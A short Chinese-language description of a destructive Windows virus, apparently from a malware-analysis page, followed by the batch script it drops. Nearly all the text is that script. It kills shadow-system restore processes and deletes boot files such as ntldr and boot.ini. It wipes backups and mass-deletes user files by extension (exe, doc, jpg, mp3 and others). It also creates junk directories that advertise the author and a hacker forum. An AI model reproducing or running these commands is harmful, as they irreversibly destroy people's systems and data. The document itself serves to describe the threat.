病毒行为：
这是一个恶意病毒，运行后释放出脚本文件删除用户电脑中绝大部分文件数据。

1、释放病毒脚本文件到%temp%目录下，并执行。

2、关闭影子系统，使病毒破坏的系统无法还原
taskkill /f /im shadowtip.exe
cls
taskkill /f /im shadowservice.exe
cls
taskkill /f /im shadowsetting.exe

3、删除文件
attrib AUTOEXEC.BAT -s -h -r
cls
del AUTOEXEC.BAT /f y
cls
attrib NTDETECT.COM -s -h -r
cls
del NTDETECT.COM /f y
cls
attrib BOOTSECT.DOS -s -h -r
cls
del BOOTSECT.DOS /f y
cls
attrib boot.ini -s -h -r
cls
del boot.ini /f y
cls
attrib ntldr -s -h -r
cls
del ntldr /f y
cls
attrib 收藏夹 -s -h -r
rd /s /q 收藏夹
attrib * -s -h -r
CLS
attrib BOOT.INI -s -h r
del BOOT.INI /f y
cls
rd /s /q ghost
rd /s /q KuGoo
attrib 收藏夹 -s -h -r
rd /s /q 收藏夹
cls
del *.gho /f y
cls
del *.exe /f y
cls
del *.mp3 /f y
cls
del *.txt /f y
cls
del *.jpg /f y
cls
del *.gif /f y
cls
del *.doc /f y
attrib ghost -s -h -r
rd /s /q ghost

4、在各个盘下建立各种名字的目录：
md D:\wcvcv44545433gdffdo.....\
md D:\wfdgdfgdfg5656434o....\
md D:\wfdgdfgfdg4334543o....\
md D:\wosdfgfgfdggdfgdfdf....\
md D:\w43345fgfdgdfgdfo....\
md D:\wdfgdfgdfg3454343o....\
md D:\wodgdfdfggdfg56564....\
md D:\wssssbrtrrtr4ghr.....\
md D:\伊泪..\
md D:\QQ397551567.....\
md D:\哇哈哈....\
md D:\好爽....\
md D:\请原谅我的暴力....\
md D:\Abbb..\
md D:\B.bb.\
md D:\6bbb.\
md D:\iiiiii..\
cls
md D:\dfdsbbbf3333..\
md D:\我真不想这样D........\
md D:\我只想让你知道我不是菜鸟.......\
md D:\作者伊泪........\
md D:\请别把这个程序乱传播或用于非法活动本程序只提供学习用一切法律责任与本人无关........\
md D:\newka@163.com....\
md D:\很不错的一个黑客论坛www.hackwl.com.....\
md D:\www.hackwl.com.....\
md D:\sdsadsa32444f..\
md D:\44333fsdfsdfs..\
md D:\343fgdf44o..\
md D:\325454sdfdsfdsf..\
...